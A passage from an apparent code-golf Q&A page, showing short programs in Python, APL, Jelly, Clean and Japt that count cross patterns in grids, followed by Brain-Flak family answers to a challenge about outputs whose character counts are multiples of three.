#ö Return number of 3x3-arrays that satisfy this: Take m = [[0,3,0],[2,4,1],[1,4,0]] as an example. Σ Concatenate: [0,3,0,2,4,1,1,4,0] t Tail: [3,0,2,4,1,1,4,0] Ċ2 Take every second element: c = [3,2,1,4] §& c satisfies both of the following: ¦ 1) It contains every element of ḣ4 the range [1,2,3,4]. Sδ 2) If you zip c ↔ with its reverse, Λ then each corresponding pair ≈ has absolute difference at most 1. Implicitly print the result. ``` [Answer] # Python 3, ~~120~~ 118 bytes ``` lambda x:sum({x[i+1][j]*x[i+1][j+2],x[i][j+1]*x[i+2][j+1]}=={2,12}for i in range(len(x)-2)for j in range(len(x[0])-2)) ``` [Try it online!](https://tio.run/##XcpBDoMgEIXhfU/BEuo0gdFVE08yYUFTaTGKBm1CYzw7hZpuuvvyvze/1@fk65RsO5jxdjcsXpfXyLdIrlKaen3@qUIN2UXqqHh4b9sNQeFup8Acc54F4x8dHzrPo7igKL3/6yR1mUSag/Mrt5xIQgMIUsOJkYI6u/kas1XuOr8/ "Python 3 – Try It Online") Uses the fact that the product of opposite pairs of numbers in the cross must be 2 and 12 respectively, and compares with a set to cover all the different orientations. Takes input as a 2D array of integers. [Answer] # [Dyalog APL](https://www.dyalog.com/), ~~30~~ ~~29~~ ~~28~~ ~~27~~ 26 bytes ([SBCS](https://github.com/abrudz/SBCS)) ``` +/∘,{12 2⍷×∘⌽⍨⊢/4 2⍴⍵}⌺3 3 ``` [Try it online!](https://www.dyalog.com/) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 36 bytes ``` “ƒɦƈạ%ȤFE’b4s4 ṡ3µZṡ3F€µ€ẎḊm2$$€’f¢L ``` [Try it online!](https://tio.run/##XVU7jlNBEMz3FARL9oL@XYGNOAErJ0gQoCUiIlsRIQICMiSSRYiIdCXY0MEKjmFfxDxPV9e0rSfZb2Z6@lNdXe/Nq5ub94fD/vbb45d/Px8/7h7unv79cfVsf/v1ZbyLi92fO9/evzj@Xe0//Nrerz@7h8@735/e2uXlulgNX2@/Pz8cDtfXvtjiiy6y/sb6rnhi3dFxotj1sSPjXfDusFN4sXV93LdhfVyt/jfLxZPrPMk7eXK0MfjN9xiPM57Br40oPrIqL4o4FVcQJzOSYZn5BX05vNk4F3gXxMx9xx0bN@q2IsaIOuIobNJvEKeMakDC4X9iNm8IsKpKlBVKwy1zEVaeFTsyz7oq68pHG4qBk0DHDHaC3GYcH/Ed2Dtyy/tZYXnPOidX0t4RL/F3VuPIeOKmsFH0zsggR2bB7hs9VT0Kq8IzyM7klIJviZDg5ik/CwlFtwWMKLSFkQP4WutVx03B8mAtzryCu3nu9C1kWe6lD2nMLf6uD3kAnsNLsdlPZq73XTjb0ZAK8ts40@MfcWpCjUw2ZCSNE05EjbkaOqUtOyMagh7FiCONkU72K6OWAkXrknJmnBED3PPGluRxUA@UXBXqlZxNti3FzCALgQvuO/lxOvWKOAKWCrRqTsNUHKdqRetzkCu1Lv54Y2bpqJwocvXXz3TaGu8D3gyrUm@hRgVrnHpQPNU26XYWU8hnRaVKJYquzeC4MCMFr@fXYM69U/MqzsTNqE7aNYxfBaNaWikM@RZk4WS4cs6dc@I8nxUG8/IlWHOvNtCfOe9KnRKwIhpTlbgX05XRlJ0U6ipvQHeqCkVWznyCHHHeL5yDfQl@vaN984UVxmbzHw "Jelly – Try It Online") # 37 bytes For some reason I can't move the `Ḋm2$$` to the top link. ``` ṙ1s2I€FPA,P⁼1,24 ṡ3µZṡ3F€µ€ẎḊm2$$€Ç€S ``` [Try it online!](https://tio.run/##XVU7blRBEMx9CgKHL@jfBUgskVkiY7WhE2QiIkJIkAjICclJLdmIyD7J@iLL7HR1Te/qSe8zM/2rrq738e7@/svxeHj6pZ/t3eu3Pze3b7fb16//dLO4Ojz99ueHD6fHzdh7fhi3w9@fh8cfn@z6eny8fB@398fjcbfzzTbfdJNxj/GuuGKs6NxRrPpckfkueHecU3ix8X1at3n69DX877erN7vcSZvcOZ0x@M33mJcznsGvzSg@syovijgVVxAnM5J5MvML@nJ4s7kv8C6ImesOG5sWZa2IMaPOOIoz6TeIU0Y1IOHwvzBbFgKsqhJlhdJwy1yElWfFjsyzrsq68tGGYmAn0DHDOUFuK47P@A7sHbmlfVZY3rPOxZU874iX@DurcWS8cFOcUfTOyCBHZsHuGz1VPYpThWeQnckpBd8SIYHlOT8LCUW3BYwotIWRA/ha61XHTcHyYC3OvIKrue/0LWRZrqUPacwt/o6LPADP4aXY7Gcz1/sunO1oSAX5bZzp@UScmlAjkw0ZSeOEE1FjroZOacvOiIagRzHjSGOkk/3KqKVA0bqknBlnxAD3vLEleRzUAyVXhXolF5NtWzEzyELgAnsnP86nXhFHwFKBVq1pWIrjVK1ofQ5ypb6LP96YWToqZ4pc/fULnbbG@4A3w1ept1CjgjUuPSieapt0u4gp5LOiUqUSRddmcFyYkYLX62@w5t6peRVn4WZUJ@0axr@CUS2tFIZ8C7JwMVw55845ce6vCoN5@RasuVcb6M@ad6VOCVgRjalK3IvpymjKTgp1lRbQnapCkZUznyBHnPaFc7Avwb93tH@@sMLY7/8D "Jelly – Try It Online") [Answer] # [Clean](https://clean.cs.ru.nl), ~~255~~ ... 162 bytes It isn't beneficial that often to use pattern filters in comprehensions, but in this case, it is. ``` import StdEnv,StdLib ? =reverse @ =transpose t=tails $m=sum[1\\f<-[id,@,?,?o@,@o?,@o?o@,?o@o?o@,?o@o?],[a,b,c:_]<-t(f m),[_,1:_]<-t a&[3,_,4:_]<-t b&[_,2:_]<-t c] ``` [Try it online!](https://tio.run/##XVZNa9tAED3Xv0LQUFrYwMzOnEqMfWgPhdxydExQHLsI/BFsJbR/vu5a@/ZpHYws7dd8vHnzpNV23e7Pu8PL23bd7Npuf@52r4dj3zz0Lz/37yHd7rvnyayZHtfv6@NpPZk30/7Y7k@vhzTop33bbU@Tm9309LZb6OPj5u520b2EeZiF2WEe5ofZ5UpP6Rrvy7Bow3NYfX9a3t32XzfN7ltYPAXN46b9srDwFBzD5y9pLWKwWp4f@vbYTz6nePtj96eZNou0PQYLGiT9e3pW/DzN6LCimLVhRoZnwbNhn8JKTOPLfBx2X0bJ/jJMPi3ySj6TVy57IuzmZx9@Rn8RduPgxYaoihWFn@JX4CdHJMPOHJ/TlsFaHNYF1gU@87zhTBxOlNMKH4PXwY9iT7brxCl7jUDCYH/EbDwhwKpkosxQKtxyLMLMc8aGyHNeJeoSj1YoOlYcFYvYJ4ht9GODfwP2htjy@ZxhsZ7zHLmS9xv8ZfyN2RgiHnFT7FHULpJBhsic1Y@0VPJR7Cp4OtmZOaXgW0ZIcPKanwUJRbUFjChoCz078I1VrWrcFCx35mKMyzmb1422hSzLc9mGVMwt/E0/8gA8h5XCZrvqubruwt72CiknvyN7erjDT@nQSCZHRCQVJ4yIRsYaUSmtootEQ1AjH/xIxUgj@5VeiwJ5VSVlzxg9OrhnFVsyj516oOSqUK/kQ2fHUJjpZCFwwXkjP667XuFHwFKBVo3dMCqOUbW8qrOTK2Vc@GMVM4uOypUil/raB52OFe8d1iJGRb2FGuXMcdSDwlOtOj1@8CnksyJTpRJ5rc3guDAiBa/Ht8HY90bNK35G3CLVSWsN41shUi1jURjyzcnCkeHKPjf2iXF9zNAZlwVnznW2jvqM/a7UKQErvGKqEvfCdKU3ZSWFusoT0J2ShSIqYzxOjhjPF5yddXG@vb165wsz9OUyfSps3varvjvs08fCzSRd@HY4/1tttu3v0/n21/35x999u@tWeZA/fP4D "Clean – Try It Online") Defines the function `$`, taking `[[Int]]` and returning `Int`. It first generates all symmetries of the matrix `m` (transforming via `f`), takes the `tails` of which have three or more rows, and synchronously checks how many of the first three sets of columns from the `tails` of each row match the pattern of the cross. This is equivalent to counting the number of ordered `tails`-of-`tails` matching the pattern `[[_,1,_:_],[3,_,4:_],[_,2,_:_]:_]` - which is in turn logically the same as checking if, for each cell in the matrix, that cell is the upper-left corner of any rotation of the cross. [Answer] # [Japt](https://github.com/ETHproductions/japt) `-x`, ~~39~~ ~~38~~ 33 bytes ``` ã3 Ëmã3 y x@[XXy]®g1 ë2 ×Ãn e[2C] ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=4zMgy23jMyB5IHhAW1hYeV2uZzEg6zIg18NuIGVbMkNd&input=LXgKW1szLDIsMywxLDAsMyw0LDIsMSwxLDEsMSw0LDAsMSwzLDEsMSwyLDEsMSwzLDAsMSwwLDEsMSwwLDAsMSwwLDMsNCwwLDEsMSwyLDMsMSwyLDQsMSwwLDIsMywwLDIsNCwzLDJdLAogWzIsNCwxLDEsMCwzLDAsMiw0LDIsMywyLDEsMywwLDIsMywyLDQsNCw0LDMsMiwxLDEsMywyLDEsMiwzLDIsNCwwLDMsMSw0LDQsMSwxLDAsMSwxLDAsMiwyLDMsMSwyLDAsMl0sCiBbMyw0LDAsMCw0LDQsMCwzLDQsNCwxLDMsMiwxLDMsMiwzLDIsMiwwLDQsMCwxLDIsMywwLDQsMywyLDIsMiwwLDMsMyw0LDQsMiwyLDEsNCw0LDEsMywxLDEsMiwwLDEsMSwwXSwKIFsxLDQsMiwyLDIsMSwzLDQsMSwxLDIsMSw0LDAsMywyLDIsNCwxLDMsMywwLDQsMSwxLDAsMCwxLDIsMiwxLDMsNCwwLDQsMSwwLDEsMSwwLDIsMSwzLDEsNCw0LDAsNCwzLDJdLAogWzQsNCwyLDAsNCw0LDEsMSwyLDIsMywzLDIsMywwLDMsMiwxLDAsMywzLDQsMiwyLDIsMSwxLDQsMywyLDEsMSw0LDMsNCwyLDQsMCwxLDAsMiw0LDIsMiwwLDMsMywwLDMsMl0sCiBbNCwzLDMsMSwzLDEsMSwzLDMsMSwwLDEsNCwzLDQsMyw0LDEsMiwyLDEsMSwyLDEsNCwyLDEsMSwxLDEsMSwzLDMsMywxLDEsNCw0LDAsMCwzLDMsMSw0LDQsMywyLDMsMywwXSwKIFsxLDQsMSw0LDAsMCwxLDMsMSwyLDIsMSwxLDIsMywzLDIsMCwzLDQsMywyLDEsMiwyLDMsMywxLDQsMiwxLDEsNCwxLDMsMiwwLDAsMCwxLDIsNCwxLDEsMywwLDQsMiwzLDFdLAogWzIsMiwzLDAsMCw0LDIsMSwyLDMsMSwyLDQsMSwwLDEsMCwyLDQsMSwzLDQsNCwwLDAsNCwwLDQsNCwyLDAsMCwyLDIsMywzLDQsMSwwLDMsMiwxLDAsMSwxLDAsMywwLDMsMl0sCiBbMSwyLDQsMyw0LDMsMSwyLDIsMywwLDEsMiw0LDQsNCwzLDEsMiwzLDQsMywzLDIsMCwwLDIsMCwzLDQsNCwyLDMsMiwwLDIsNCwzLDAsMCwwLDQsNCwwLDQsNCwwLDMsMywzXSwKIFs0LDQsMSwyLDAsMiwyLDAsMCwzLDIsMywyLDMsNCwxLDAsMiwzLDAsMywyLDEsMSw0LDMsMCwyLDMsMSwwLDQsMSwyLDQsMSwxLDQsNCw0LDIsMiwyLDMsMCwxLDAsMywwLDFdLAogWzQsMCwzLDAsMiwyLDAsMywyLDIsMiw0LDAsNCwwLDEsMCwxLDQsMywzLDIsMywxLDIsMiw0LDQsMCwzLDIsMywxLDQsMSwwLDMsMiwzLDIsMiwwLDEsMiw0LDAsMywwLDQsNF0sCiBbMCw0LDAsMSwwLDIsMywyLDEsMywxLDEsMiwwLDMsMiwxLDQsMCwxLDQsNCwxLDMsNCw0LDEsMCw0LDEsMCwzLDQsMCwzLDIsNCwzLDMsMywzLDEsMiwyLDMsMywzLDEsMyw0XSwKIFszLDQsMSwyLDEsMSwxLDAsNCwwLDEsMSwwLDQsMSwzLDEsMSwyLDAsMiwxLDQsMSw0LDQsMywyLDAsMywwLDMsMCwxLDEsMiwxLDMsMCw0LDQsMiwyLDIsMSwzLDQsMSwxLDFdLAogWzMsMCwxLDQsMiwwLDAsMywxLDEsMSw0LDQsMCwyLDIsMCw0LDAsMywxLDAsMiwyLDQsNCw0LDAsNCw0LDQsNCw0LDQsMywwLDQsNCw0LDEsMiw0LDQsMywwLDAsNCwwLDQsMl0sCiBbMiwwLDEsMiwxLDEsMywwLDMsMSwwLDQsMywxLDIsMSwxLDMsMCwxLDIsNCwyLDEsMiwzLDQsMiw0LDQsMiwyLDMsNCwwLDAsMSwwLDAsNCwxLDMsMyw0LDEsMiwxLDMsMywyXSwKIFs0LDAsMiwwLDMsMSwyLDEsMSwxLDEsMiwzLDAsMywxLDAsNCwzLDAsMCwwLDIsMCwxLDQsMCwyLDEsMyw0LDIsMiw0LDIsMywxLDIsMCwyLDAsMiw0LDAsMSwyLDMsNCwxLDNdLAogWzMsMCwyLDQsMiwwLDMsNCwzLDIsMyw0LDIsMCw0LDEsMCw0LDMsMywxLDAsMiwyLDIsMSwzLDMsMSwxLDAsMywzLDAsMywyLDEsMSwwLDEsMiwyLDAsNCw0LDIsMCwxLDMsMV0sCiBbMCw0LDQsNCwwLDMsMCwzLDAsMiwyLDAsMSwyLDMsMyw0LDMsMCw0LDEsMiwzLDMsMCwyLDIsMywwLDAsMCwyLDQsMiwzLDQsMiwzLDQsMCwyLDAsMSwxLDMsNCwyLDIsNCw0XSwKIFsyLDEsMiwzLDQsMywxLDIsMCwwLDAsMCwwLDAsMyw0LDMsMywxLDIsMiwxLDMsNCwxLDIsNCwwLDEsNCwxLDAsMCwwLDIsMSwxLDEsMywwLDAsMywxLDEsNCwyLDEsMyw0LDFdLAogWzEsMCwzLDAsMiwxLDQsMiwzLDMsMSwxLDMsNCw0LDAsMSwyLDEsMywwLDMsMSwxLDMsMCwyLDQsNCw0LDIsMywxLDQsMyw0LDAsMSw0LDEsMSwxLDQsMCwwLDIsMyw0LDAsNF1d) -1 byte thanks to @Shaggy. -5 bytes thanks to @ETHproductions by refactoring the array. ### Unpacked & How it works ``` Uã3 mD{Dmã3 y xX{[XXy]mZ{Zg1 ë2 r*1} n e[2C] Input: 2D Array of numbers Uã3 Generate an array of length 3 segments of U mD{ Map... (D = 2D array of numbers having 3 rows) Dmã3 Map over each row of D to generate an array of length 3 segments y Transpose; make an array of 3x3 subsections xX{ Map and sum... (x = 3x3 2D array of numbers) [XXy] Array of X and X transposed mZ{ Map... Zg1 ë2 r*1 Take row 1, take 0th and 2nd elements, reduce with * } n Sort the array e[2C] Equals [2,12] element-wise? Implicit cast from boolean to number Result: 1D array of counts -x Sum of the result array ``` There should *still* be a better way to test for the cross... ]
[Question] [ *Inspiration*: in 1939, a man named Ernest Vincent Wright wrote a novel called [Gadsby](http://en.wikipedia.org/wiki/Gadsby_(novel)) without using the letter 'e'. Your task is to write a set of (up to 5) programs in any language (which has a text-based syntax\*) to output all 26 letters of the alphabet in order. However for each vowel aeiou, at least one of the programs must not include any occurrence of the vowel. So there must be * a program that does not use '**a**' or '**A**' anywhere in the syntax of the program. * a program that does not use '**e**' or '**E**' anywhere in the syntax of the program. * a program that does not use '**i**'  or '**I**' anywhere in the syntax of the program. * a program that does not use '**o**' or '**O**' anywhere in the syntax of the program. * a program that does not use '**u**' or '**U**' anywhere in the syntax of the program. All of them must output `abcdefghijklmnopqrstuvwxyz`. The winner shall be the solution where the length of all programs is the shortest. \* since the constraint wouldn't be much of a challenge in Piet or Whitespace [Answer] ## Golfscript - 8 chars ``` 123,97>+ ``` [Answer] ## Brainfuck, 38 chars ``` ++++++[->++++<]>[->+>++++<<]>++[->+.<] ``` There are, of course, no vowels (or any other letters) in [brainfuck](http://en.wikipedia.org/wiki/Brainfuck) syntax. [Answer] ## PHP, 31 Bytes No a,e,i,o,u: ``` <?=~žœ›š™˜—–•”“’‘ŽŒ‹Š‰ˆ‡†…; ``` The binary string after the tilde has the following hex representation: ``` \x9e\x9d\x9c\x9b\x9a\x99\x98\x97\x96\x95\x94\x93\x92\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85 ``` --- Since there's a language scoreboard, I may as well submit this one as well: ## Ruby (v1.8) 18 bytes ``` $><<[*97.chr..'z'] ``` [Answer] # [Pyth](https://github.com/isaacg1/pyth/blob/master/pyth.py), 1 Character ``` G ``` Pyth predefines certain variables. G is predefined as the lowercase alphabet. Pyth also implicitly prints each line with a reasonable return value. [Answer] # Ruby (24 22) **Edit:** parentheses can be omitted, 2 chars less: ``` $><<'%c'*26%[*97..122] ``` 24 chars in Ruby: ``` $><<('%c'*26)%[*97..122] ``` **How it works** `$>` is an alias for `$stdout` or `STDOUT`. You can write to it using the `<<` operator. The term `'%c'*26` repeats the string `'%c'` 26 times. The `%` operator is defined on String as an alias to `sprintf`, so `str % val` is equivalent to writing `sprintf(str,val)`. The format character `%c` is used to transform a char value to a char. These values come from `[*97..122]` which creates an array containing the values from 97 to 122. Et voilá! [Answer] ## JavaScript (100) No 'aeou': ``` this['\x61l\x65rt']('\x61bcd\x65fghijklmn\x6fpqrst\x75vwxyz') ``` No 'i': ``` alert('abcdefgh\x69jklmnopqrstuvwxyz') ``` [Answer] # K,9 ``` _26#.Q.b6 ``` # K,10 ``` "c"$97+!26 ``` # K,14 ``` .:".Q.","c"$97 ``` [Answer] ## R, 17 + 19 = 36 characters no ae (17): ``` intToUtf8(97:122) ``` no iou (19): ``` cat(letters,sep="") ``` [Answer] ## J, 26 23 17 16 characters After an hour or so rummaging around in J's underwear drawer I've finally found a way to eliminate the `a.` and `u:` verbs. ``` 2(3!:4)96+#\26$1 ``` Previously: ``` a.{~96++/\26$1 u:97+i.26 ``` with thanks to [randomra](https://codegolf.stackexchange.com/users/7311/randomra) for the `#\` trick. [Answer] ## Bash (38) No vowels at all. ``` /*/*/*ntf "/*/?ch? {\x61..z}"|/*/b?sh ``` [Answer] ## C, 90 88 84 characters Compile using `gcc -nostartfiles` ``` b;_exit(){for(;b<26;)printf("%c",b+++97);} // 42 chars, works for a, u b;_start(){putchar(b+++97)>121?:_start();} // 42 chars, works for e, i, o ``` [Answer] ## Golfscript, 10 characters ``` 26,{97+}%+ ``` [Answer] # BASH: 40 characters * No `aeiou` used. * No wildcard used. > > > ``` > `tr c-y '\141-w'<<<'rtkpvh %s c'` {b..z} > > ``` > > [Answer] # Ruby, 20 chars ``` $><<[*97.chr..?z]*'' ``` * `97.chr` is an elaborate way of saying 'a' * `..` specifies a Range * `?z` is a shorter way of saying "z" * the `[*range]` causes the range to splat al it's values in an array * `*''` is the same as `join('')`; it glues all array values together. * `$><<` Perlicism: print to stdout. [Answer] # dc: 18 17 characters ``` 97[dP1+dBD>m]dsmx ``` And there died a brave character. [Answer] # Powershell, 75 62 characters **Edit:** Used -f (String.Format) and array indexing to significantly reduce the code length. ``` '{0}bcd{1}fgh{2}jklmn{3}pqrst{4}vwxyz'-f"$(1|gm)"[8,10,0,5,31] ``` **How it works** `gm` is an alias for `get-members`, so `1|gm` returns members of the value `1`, which is of the `System.Int32` type: ``` PS C:\> 1|gm TypeName: System.Int32 Name MemberType Definition ---- ---------- ---------- CompareTo Method int CompareTo(System.Object value), int CompareTo(int value) Equals Method bool Equals(System.Object obj), bool Equals(int obj) GetHashCode Method int GetHashCode() ... ``` `"$(1|gm)"` returns a string representation of the above list, which happens to contain all the vowels we need to complete the alphabet: "`i`nt C`o`mp`a`r`e`To(System.Object val`u`e)..." [Answer] ## Haskell, 12 ``` ['\97'..'z'] ``` Or is this cheating? :) [Answer] **MATLAB, 12+20=32 characters** No eiou (12): ``` char(97:122) ``` No aeou (20) ``` fprintf('%s',97:122) ``` [Answer] ## In Perl, ### it's also possible without any vowels but much harder than in Ruby etc. This uses a total of **101** chars but doesn't require cmd line (perl -e) invocation. ``` `\160\145\162\154\40\55\145\40\42\160\162\151\156\164\40\123\124\104\105\122\122\40\141\56\56\172\42` ``` => Result: abcdefghijklmnopqrstuvwxyz In contrast to the 'similar looking' [PHP Solution](https://codegolf.stackexchange.com/a/5639/180), this is a **real program**. The program decoded reads: ``` perl -e "print STDERR a..z" ``` After encoding to octal values, another perl interpreter is called during run by the `` (backticks). The backticks would consume the output, therefore it's printed to STDERR. The encoding is done by sprintf: ``` my $s = q{perl -e "print STDERR a..z"}; my $cmd = eval( '"' . join('', map sprintf("\\%o",ord $_), split //, $s) . '"' ); ``` and the eval'd encoding **is** the program posted (within backticks): ``` "\160\145\162\154\40\55\145\40\42\160\162" "\151\156\164\40\123\124\104\105\122\122" "\40\141\56\56\172\42" ``` Regards rbo [Answer] ## Perl 5, 22 characters (1) only contains `a` and `e`, 10 chars (requires 5.10+, run from the command line): ``` -Esay+a..z ``` (2) only contains 'i', 12 chars: ``` print v97..z ``` If not allowed to run from the command line, then you need to use `use 5.01;say a..z` for the first one, at a cost of 7 characters and one more vowel, but it still has no 'i', so it results in a valid entry at 29 total characters. [Answer] ## APL (Dyalog) (~~11~~ 13) You might need an APL font. This is supposed to be Unicode but there's no preview... Only `U` (and perhaps `⍳` if counting Greek vowels): ``` ⎕UCS 96+⍳26 ``` (That's: `[quad]UCS 96+[iota]26`) Only `A`: ``` ⎕A ``` [Answer] # Python 2, 83 No **a**, **i**, **o** or **u**; **47**: ``` x=97;s='';exec"s+=chr(x);x+=1;"*26+"pr\x69nt s" ``` No **e**; **36**: ``` print"abcd\x65fghijklmnopqrstuvwxyz" ``` [Answer] ## Ruby, 22 ``` $><<[*?`..?{][1,26]*'' ``` No letters whatsoever :) [Answer] # Python 2, 175 characters Note: prints to output unlike [earlier python answer](https://codegolf.stackexchange.com/a/5610/1721). Uses 'e', but no a,i,o,u - ~~63~~ ~~61~~ ~~59~~ ~~65~~ (fix mistaken `i` move to lowercase) 115 chars (get rid of spaces). ``` exec('fr%cm sys %cmp%crt*\nf%cr x %cn r%cnge(97,123):std%c%ct.wr%cte(chr(x)),'%(111,105,111,111,105,97,111,117,105)) ``` (Originally, it used print with a comma that inserted a space; also printed upper case letters. Now saw stringent requirements for 'abcdefghijklmnopqrstuvwxyz' as output; so adding import statement). Doesn't use 'e' (uses a,i,o,u; could trivially get rid of a,u for small extension) - ~~61~~ 60 chars ``` import string print string.__dict__['low%crcas%c'%(101,101)] ``` [Answer] ## JavaScript (154) (1) Only contains `i` (99 chars): ``` t=this;s=-t+t+t.b;z=s[1]+'bcd'+s[7]+'fghijklmn'+s[4]+'pqrst'+s[21]+'vwxyz';t[s[1]+'l'+s[7]+'rt'](z) ``` (2) Only contains `aeou` (55 chars): ``` t=0;s=''+t.b;alert('abcdefgh'+s[5]+'jklmnopqrstuvwxyz') ``` Demo: <http://jsfiddle.net/SvN5n/> [Answer] ## Python ~~159~~ 117 As mentioned in the other python post the hardest part is dealing with the fact that the only way to output is to use `print` or `sys.stdout.write`, both of which contain i. Have to do it with 2 programs (which are freestanding and don't use the python interactive shell to create the output): This one only uses i for 55 chars: ``` print"%cbcd%cfghijklmn%cpqrst%cvwxyz"%(97,101,111,117) ``` This one avoids using i for 104 chars: ``` eval("sys.stdout.wr%cte"%105,{'sys':eval("__%cmport__('sys')"%105)})("%c"*26%tuple(range(97,123))+"\n") ``` **EDIT:** Massive breakthrough!!! I was thinking that use of eval (or even exec) was a bit of a cheat and not truly in the spirit of the competition. Anyway, trawling through the builtins I found a way to get hold of the print function without using i. So here is the avoid-i (and o) program for 68 chars: ``` vars(vars().values()[0])['pr%cnt'%105]("%c"*26%tuple(range(97,123))) ``` But because that also avoids o, this can be paired with one that only avoids a, e, u for 49 chars: ``` print"%cbcd%cfghijklmnopqrst%cvwxyz"%(97,101,117) ``` [Answer] ## Ruby ~~196~~ ~~164~~ ~~44~~ 47 ``` $><<"\x61bcd\x65fgh\x69jklmn\x6Fpqrst\x75vwxyz" ``` [Answer] ## VBA: 76 brute force, 116 without 'cheating' (98 if newlines are acceptable in the output) **Standard Functions** Thanks to VBA's verbosity, I don't believe this can be done without 'E' or 'U' in a standard code module... * "**E** nd" * "F **u** nction" * "S **u** b" **Immediate Functions** Running with mellamokb's assumption, here's without the function declaration (leaving out `SUB` and `FUNCTION`) (**116 chars**, **98** if newlines are acceptable in output): The below uses neither 'e' nor 'a' (**43 chars**, formatted to run in the immediate window): ``` b=65:Do:z=z+Chr(b):b=b+1:Loop Until b=91:?z ``` The below uses neither 'i' nor 'a' nor 'u' (**33 chars**, formatted to run in the immediate window): ``` For b=65 To 90:z=z+Chr(b):Next:?z ``` The below uses neither 'a' nor 'o' nor 'u' (**40 chars**, formatted to run in the immediate window): ``` b=65:While b<91:z=z+Chr(b):b=b+1:Wend:?z ``` --- *If newline characters are allowed in the output, then the above examples can be shorter:* (**37 chars**) ``` b=65:Do:?Chr(b):b=b+1:Loop Until b=91 ``` (**27 chars**) ``` For b=65 To 90:?Chr(b):Next ``` (**34 chars**) ``` b=65:While b<91:?Chr(b):b=b+1:Wend ``` --- **Brute Force** *Running with [w0lf's Ruby answer](https://codegolf.stackexchange.com/a/5603/3862)* (**76 chars**, formatted to run in the immediate window): ``` ?Chr(65)&"BCD"&Chr(69)&"FGH"&Chr(73)&"JKLMN"&Chr(79)&"PQRST"&Chr(85)&"VWXYZ" ``` [Answer] ### [Rebmu](http://hostilefork.com/rebmu): 15 characters ``` Ctc'`L26[pn++C] ``` Reading Rebmu always requires a bit of [unmushing](https://github.com/hostilefork/rebmu/blob/2965e013aa6e0573caa326780d97522a425103f0/mushing.rebol#L18) to start with: ``` c: tc '` l 26 [pn ++ c] ``` Then it helps to expand the abbreviations: ``` c: to-char-mu '` loop 26 [ prin ++ c ] ``` It would be more obvious using a character literal for the predecessor of lowercase a: ``` c: #"`" loop 26 [ prin ++ c ] ``` But that doesn't "mush", so converting a word literal to a character passes for the same purpose. What I like about it, as with most Rebmu, is that it has the spirit of a sensible program despite the compression. (The Golfscript answer is shorter but doesn't map to the way a programmer would usually think when coding.) [Answer] # <>< (Fish) - 22 characters Because <>< uses the 'o' to print a character, this challenge seems impossible to do. Luckily, fish can change its own code in runtime. This allowed me to add the print instruction to the code. This code uses none of the vowels: ``` '`78'+11pv :X:'z'=?;>1+ ``` [You can run the code here](http://fishlanguage.com/playground) ]
[Question] [ Write a program that produces an output such that: 1. At least three distinct characters appear. 2. The number of occurrences of each character is a multiple of 3. For example, `A TEA AT TEE` is a valid output since each of the 4 distinct characters, `A`, `E`, `T` and `(space)`, occurs 3 times. Of course, a challenge about the number 3 needs to have a third requirement. So: 3. The program itself must also follow the first two requirements. (This means your program will be at least 9 bytes long.) You must write a full program, not a function. Be sure to show your program's output in your answer. Also, to keep things interesting, you are highly encouraged: * *not* to use comments to meet requirement 3 if you can help it * to produce output that isn't just a string repeated 3 times * to make the output different from the program itself (for languages that can automatically output the contents of its own program, [you can contribute to this community wiki](https://codegolf.stackexchange.com/a/108142/47097)). This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"). Shortest code in bytes wins. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), [Flakcats](https://github.com/Flakheads/Flakcats), [Brain-Flueue](https://tio.run/nexus/brain-flak#@////39d3ZzEvPTSxPRU26SixMy8tJzS1NJUAA), [Brain-Flak Classic](https://github.com/DJMcMayhem/Brain-Flak/tree/9f22727cc08fc7f48be11393ecfe44db331de55a), [Miniflak](https://tio.run/nexus/brain-flak#@////39d3ZzEvPTSxPRU29zMvMy0nMRsAA), and [Fλak](https://github.com/Flakheads/f-ak) 18 bytes ***Proven optimal!*** ``` ((([()][()][()]))) ``` [Try it online!](https://tio.run/nexus/brain-flak#@6@hoREdHa2hCYKxsbGampr//wMA "Brain-Flak – TIO Nexus") ## Explanation ### Brain-Flak, Brain-Flueue, Miniflak, and Fλak ``` ([()][()][()]) Push -3 ( ) Copy ( ) Copy ``` This prints: ``` -3 -3 -3 ``` *(There is a trailing newline)* ### Brain-Flak Classic Brain-Flak Classic is the original version of Brain-Flak and has some important differences from modern Brain-Flak. In BFC `[...]` prints its contents rather than negating it. ``` [()] Print 1 [()] Print 1 [()] Print 1 ( ) Push 3 ( ) Push 3 ( ) Push 3 ``` At the end of executing the contents of the stack (`3 3 3`) is printed. This prints: ``` 1 1 1 3 3 3 ``` *(There is a trailing newline)* ### Flakcats Flakcats is quite different from the other 4 flaks and I am surprised that this works in Flakcats. The three operators here are nearly the same as the ones that Brain-Flak uses. The main difference in this particular program between Flakcats is the `(...)` operator which in Flakcats is equivalent to `([{}]...)` in Brain-Flak. This however does not make a difference to us because it picks up zeros and thus operates much in the same way that Brain-Flak does. Here is that program compiled into Brian-Flak: ``` ([{}]([{}]([{}][()][()][()]))) ``` This prints: ``` -3 -3 -3 ``` *(There is a trailing newline)* ## Proof of Optimality in [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak) and Miniflak *This is not a formal proof, but rather an informal proof that would have to be expanded to be made more rigorous* Because of the restrictions that Brain-Flak programs must be a balanced-string and the program length must be a multiple of 3 any valid submission must be a multiple of 6 in length. This means any solution smaller than 18 must be length 12. Because of the outputs trailing newline the final height of the stack must be a multiple of three or we will break the restrictions on output. Any valid submission of length 12 must have 2 types of braces (having less would break the restrictions on number of distinct characters and more would mean more than 12 characters). Since the program produces output it must have a push. This leaves us to select our other set of braces. The options are: ### `<...>/<>` This fails because we need to generate "value" in order to create any number other than zero we must give up a `()` to create a one which makes it impossible to push more than two times. --- ### `[...]/[]` This fails for the same reason the last failed. The square braces are really bad at making value. The `[]` monad *can* create value but we need to push numbers first and we then don't have enough parens left over to push three times. --- ### `{...}/{}` This one is promising, we could create a loop and use one `()` to push multiple times, but alas it is not possible. In order for the loop to end there must be a zero on the stack at some point and in order for us to have the correct output we must have something other than zero on the stack at the end of the program. Since we have neither `[]` nor `<>` the zero at the end of the loop *must* be a implicit zero from the bottom of the stack. This means the loop cannot add any new numbers to the stack making it useless. --- Since none of the brace choices can create a program of length 12 none can exist. Since Miniflak is a subset of Brain-Flak any shorter Miniflak program would also be a shorter Brain-Flak program and thus does not exist. ## Proof of Optimality in 